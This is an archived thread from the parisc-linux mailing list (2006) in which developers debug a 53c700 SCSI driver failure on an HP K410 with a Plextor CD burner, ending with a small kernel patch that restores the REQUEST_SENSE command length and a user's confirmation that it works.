	<20061127181040.94d1e30f.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624625 28227 80.91.229.3 (22 Nov 2014 02:50:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2006 16:51:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 30 Nov 2006 17:51:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10AC77D99A;
	Thu, 30 Nov 2006 09:51:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29788-07; Thu, 30 Nov 2006 09:51:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 130397D98F;
	Thu, 30 Nov 2006 09:51:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAEDF7D98D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 09:50:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29788-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 09:50:57 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4FDCD7D95F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 09:50:57 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 1A57D494010; Thu, 30 Nov 2006 09:50:57 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 89AC7494011
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Nov 2006 09:50:55 -0700 (MST)
Original-Received: from (ip-213-49-82-176.dsl.scarlet.be [213.49.82.176]) 
	by guri.is.scarlet.be  with ESMTP id kAUGofp25844; 
	Thu, 30 Nov 2006 17:50:41 +0100
User-Agent: Icedove 1.5.0.8 (X11/20061121)
In-Reply-To: <20061127181040.94d1e30f.gmsoft@tuxicoman.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MTVcfRhbMmApXLSZZGFnI9cxMjQ1N53X
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25390



Guy Martin wrote:
> Matthew,
> 
> In only tested on my K410. I'm clueless about IOMMU besides what I can read about it on wikipedia :)
> 
> I can give it a try on my b180l but I don't know if there is a point and if it has the right connector.
> 
Yes connectors and even hba are afaik the same (into LASI), the diff stand in this Uturn/U2 bus converter/adapter (ioscan 
name it bc, mstm ba?) on your K model (as on my D) and not on B180L+.

> As James said, it looks like the size of some commands is not negociated properly or so.
> http://lists.parisc-linux.org/pipermail/parisc-linux/2006-September/030204.html
> 
> Is there a way I make this negociation more verbose ?
> 
> However, unlike Joel's problem, those errors start to appear when I try to mount a cd or even before that when udevd starts and not after some untar/rm iterations. I sould mention that if I eject the media while mount is stuck, it aborts.
> 
>   Guy
> 
> 
> On Mon, 27 Nov 2006 08:37:14 -0700
> Matthew Wilcox <matthew@wil.cx> wrote:
> 
>> On Mon, Nov 27, 2006 at 11:58:32AM +0100, Guy Martin wrote:
>>> Some more detail on this issue.
>>> This burner still works at commit 6391a11375de5e2bb1eb8481e54619761dc65d9f but breaks at commit 0f13fc09db68de92585558984bff1c51b87db72f.
>> Thanks for narrowing it down so much!
>>
>>> commit 0f13fc09db68de92585558984bff1c51b87db72f
>>> Author: James Bottomley <James.Bottomley@steeleye.com>
>>> Date:   Thu Jun 29 13:02:11 2006 -0400
>>>
>>>     [SCSI] 53c700: fix breakage caused by the autosense update
>>>     
>>>     A bit of a brown paper bag issue.  The previous patch to remove the soon
>>>     to be ripped out fields that were used in autosense actually broke the
>>>     driver.  This patch fixes it and has been tested (honestly).
>> If James says he tested it, I believe him.  I *think* we're in the
>> situation where it works on machines without an IOMMU and breaks on
>> machines with an IOMMU.  Joel, Guy, do I have that right?
> 
Well my test case is totaly different as far as I just tested se-scsi disk.
And I don't own any PLEXTOR, so only GMSoft test on its b180 could confirm us if it's same kind of pb.

The only thing of what I still sure is that the pb occure to me when I tried to stress (high io rate) this driver.

Joel

> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Thu, 30 Nov 2006 12:17:43 -0500
Lines: 58
Approved: news@gmane.org
Message-ID: <1164907064.22826.23.camel__41974.9905042865$1416624625$gmane$org@mulgrave.il.steeleye.com>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>
	<20061127153713.GQ14076@parisc-linux.org>
	<20061130101805.2a82273b.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624625 28232 80.91.229.3 (22 Nov 2014 02:50:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2006 17:18:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 30 Nov 2006 18:18:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C1437D71B;
	Thu, 30 Nov 2006 10:18:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30165-09; Thu, 30 Nov 2006 10:18:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5BFCC7D6E5;
	Thu, 30 Nov 2006 10:18:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22E577D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 10:18:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30165-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 10:18:05 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AF9AF7D646
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 10:18:05 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 747E0494010; Thu, 30 Nov 2006 10:18:05 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by mail.parisc-linux.org (Postfix) with ESMTP id 01FE0494011
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Nov 2006 10:18:03 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	kAUHHix14044; Thu, 30 Nov 2006 12:17:45 -0500
In-Reply-To: <20061130101805.2a82273b.gmsoft@tuxicoman.be>
X-Mailer: Evolution 2.6.3 (2.6.3-1.fc5.5) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ViBYclkWbGI0QqaDYmRnVmRncmZ1Zpz/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25391

Actually, your analysis isn't quite correct.  This is the real problem

On Thu, 2006-11-30 at 10:18 +0100, Guy Martin wrote:
> [42949427.280000] 53c700: scsi2, command sr 2:0:2:0: 
> [42949427.280000]         command: cdb[0]=0x43: 43 00 00 00 00 00 00 00 0c 40

READ_TOC(10) command (i.e. 10 byte command)

> [42949427.280000]  scatter block 0: move 12[0900000c] from 0x1d48e00
> [42949427.280000]  SETTING 001c0528 to 90080000
> [42949427.280000]  script, patching short field MessageCount at 30 to 0xe000001
> [42949427.280000]  script, patching ID field Device_ID at 0 to 0x41040000
> [42949427.280000]  script, patching CommandAddress at 121 to 0x1d508f8
> [42949427.280000]  script, patching short field CommandCount at 120 to 0xa00000a
> [42949427.280000]  script, patching SGScriptStartAddress at 191 to 0x1c0520
> [42949427.280000]  script, patching SGScriptStartAddress at 207 to 0x1c0520
> [42949427.290000] scsi2: istat 01 sstat0 00 dstat 84 dsp 012a[001c04a8] dsps 0x401
> [42949427.290000] scsi2: (2:0) ====>SCRIPT INTERRUPT<====
> [42949427.290000]   COMMAND COMPLETE, status=02

Returns Check Condition, causing the driver to send out a REQUEST_SENSE
command, which it begins here using the same slot:

> [42949427.290000]  script, patching short field MessageCount at 30 to 0xe000006
> [42949427.290000]  script, patching ID field Device_ID at 0 to 0x41040000
> [42949427.290000]  script, patching CommandAddress at 121 to 0x1d58c20
> [42949427.290000]  script, patching short field CommandCount at 120 to 0xa00000a

This patches the command length to ten bytes, but REQUEST_SENSE is only
a 6 byte command ... it's clearly inherited the length parameter from
the previous command.

> [42949427.290000]  script, patching SGScriptStartAddress at 191 to 0x1c0520
> [42949427.290000]  script, patching SGScriptStartAddress at 207 to 0x1c0520
> [42949427.290000] scsi2: Issuing saved command slot 4f6b8520, cmd 4f23b8c0      
> [42949427.300000] scsi2: istat 09 sstat0 00 dstat 84 dsp 00ba[001c02e8] dsps 0x250
> [42949427.300000] scsi2: (2:0) ====>SCRIPT INTERRUPT<====
> [42949427.300000] scsi2 (2:0): message before command phase: 01 03 01 3b 08 
> [42949427.300000] Attempting to resume at 1c02e8
> [42949427.320000] scsi2: istat 0a sstat0 c0 dstat 00 dsp 007a[001c01e8] dsps 0x1d58c20
> [42949427.320000] scsi2: (2:0) phase mismatch at 01e8, phase IO BSY DATA_IN

And here we get a phase mismatch in the command phase because the drive
transitions to data phase after six bytes and the driver still thinks it
has another four to send.

I'd have the maintainer shot ... he clearly forgot to set up the command
length for auto request sense.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Thu, 30 Nov 2006 13:13:46 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <1164910427.22826.37.camel__5772.7744141177$1416624625$gmane$org@mulgrave.il.steeleye.com>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>
	<20061127153713.GQ14076@parisc-linux.org>
	<20061130101805.2a82273b.gmsoft@tuxicoman.be>
	<1164907064.22826.23.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624625 28234 80.91.229.3 (22 Nov 2014 02:50:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:25 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2006 18:14:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 30 Nov 2006 19:14:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3EA937D9BD;
	Thu, 30 Nov 2006 11:14:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31014-08; Thu, 30 Nov 2006 11:14:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F2A07D98C;
	Thu, 30 Nov 2006 11:13:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 598597D969
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 11:13:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31014-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 11:13:52 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id F3B227D94D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 11:13:51 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D7F36494011; Thu, 30 Nov 2006 11:13:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by mail.parisc-linux.org (Postfix) with ESMTP id 69D86494010
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Nov 2006 11:13:50 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	kAUIDlx17107; Thu, 30 Nov 2006 13:13:47 -0500
In-Reply-To: <1164907064.22826.23.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.6.3 (2.6.3-1.fc5.5) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XSZcfRpbMmApXLSZZGFnfW8xMjQ1N136
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25392

On Thu, 2006-11-30 at 12:17 -0500, James Bottomley wrote:
> And here we get a phase mismatch in the command phase because the drive
> transitions to data phase after six bytes and the driver still thinks it
> has another four to send.
> 
> I'd have the maintainer shot ... he clearly forgot to set up the command
> length for auto request sense.

Try this and see if it fixes the problem

James

diff --git a/drivers/scsi/53c700.c b/drivers/scsi/53c700.c
index 562432d..9aabb64 100644
--- a/drivers/scsi/53c700.c
+++ b/drivers/scsi/53c700.c
@@ -622,8 +622,10 @@ #endif
 			dma_unmap_single(hostdata->dev, slot->dma_handle, sizeof(SCp->sense_buffer), DMA_FROM_DEVICE);
 			/* restore the old result if the request sense was
 			 * successful */
-			if(result == 0)
+			if (result == 0)
 				result = cmnd[7];
+			/* restore the original length */
+			SCp->cmd_len = cmnd[8];
 		} else
 			NCR_700_unmap(hostdata, SCp, slot);
 
@@ -1007,6 +1009,9 @@ #endif
 				 * of the command */
 				cmnd[6] = NCR_700_INTERNAL_SENSE_MAGIC;
 				cmnd[7] = hostdata->status[0];
+				cmnd[8] = SCp->cmd_len;
+				SCp->cmd_len = 6; /* command length for 
+						   * REQUEST_SENSE */
 				slot->pCmd = dma_map_single(hostdata->dev, cmnd, MAX_COMMAND_SIZE, DMA_TO_DEVICE);
 				slot->dma_handle = dma_map_single(hostdata->dev, SCp->sense_buffer, sizeof(SCp->sense_buffer), DMA_FROM_DEVICE);
 				slot->SG[0].ins = bS_to_host(SCRIPT_MOVE_DATA_IN | sizeof(SCp->sense_buffer));


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K410 SCSI 53c700 issue with PLEXTOR PX-R820T
Date: Thu, 30 Nov 2006 19:48:30 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20061130194830.90043d05.gmsoft__4027.21598879925$1416624626$gmane$org@tuxicoman.be>
References: <20061112160350.8b7d4afd.gmsoft@tuxicoman.be>
	<20061112191436.GY16952@parisc-linux.org>
	<20061127115832.b413fd7b.gmsoft@tuxicoman.be>
	<20061127153713.GQ14076@parisc-linux.org>
	<20061130101805.2a82273b.gmsoft@tuxicoman.be>
	<1164907064.22826.23.camel@mulgrave.il.steeleye.com>
	<1164910427.22826.37.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624626 28236 80.91.229.3 (22 Nov 2014 02:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:26 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@parisc-linux.org
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2006 18:49:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 30 Nov 2006 19:49:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 104467D9B7;
	Thu, 30 Nov 2006 11:49:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31478-10; Thu, 30 Nov 2006 11:49:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01C3A7D9B8;
	Thu, 30 Nov 2006 11:49:42 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F14C57D9B6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 11:49:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31534-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 11:49:28 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 98FF77D9B3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 11:49:28 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 60F03494011; Thu, 30 Nov 2006 11:49:28 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id ECD53494010
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Nov 2006 11:48:44 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 3DF72EB87E; Thu, 30 Nov 2006 19:48:44 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 0AE162FD3E; Thu, 30 Nov 2006 19:48:41 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>)
	id 1Gpsnu-00033P-6u; Thu, 30 Nov 2006 21:46:46 +0100
In-Reply-To: <1164910427.22826.37.camel@mulgrave.il.steeleye.com>
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9x9ZDGYoQEVsAujDZnVpZ8hKNzg2NcL4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25393


Hi James,

This is working fine ! Thanks a lot !

I was able to mount a cd without any pb.

Cheers,
  Guy

On Thu, 30 Nov 2006 13:13:46 -0500
James Bottomley <James.Bottomley@SteelEye.com> wrote:

> On Thu, 2006-11-30 at 12:17 -0500, James Bottomley wrote:
> > And here we get a phase mismatch in the command phase because the drive
> > transitions to data phase after six bytes and the driver still thinks it
> > has another four to send.
> > 
> > I'd have the maintainer shot ... he clearly forgot to set up the command
> > length for auto request sense.
> 
> Try this and see if it fixes the problem
> 
> James

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [2.6 patch] parisc: "extern inline" -> "static
	inline" (fwd)
Date: Fri, 1 Dec 2006 12:48:11 +0100
Lines: 217
Approved: news@gmane.org
Message-ID: <20061201114811.GQ11084__39443.4123569683$1416624626$gmane$org@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624626 28238 80.91.229.3 (22 Nov 2014 02:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:26 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 kyle@parisc-linux.org,
 parisc-linux@parisc-linux.org,
 matthew@wil.cx
To: Andrew Morton <akpm@osdl.org>
Original-X-From: - Wed Jul 02 21:28:24 2014
X-Mozilla-Status: 0001
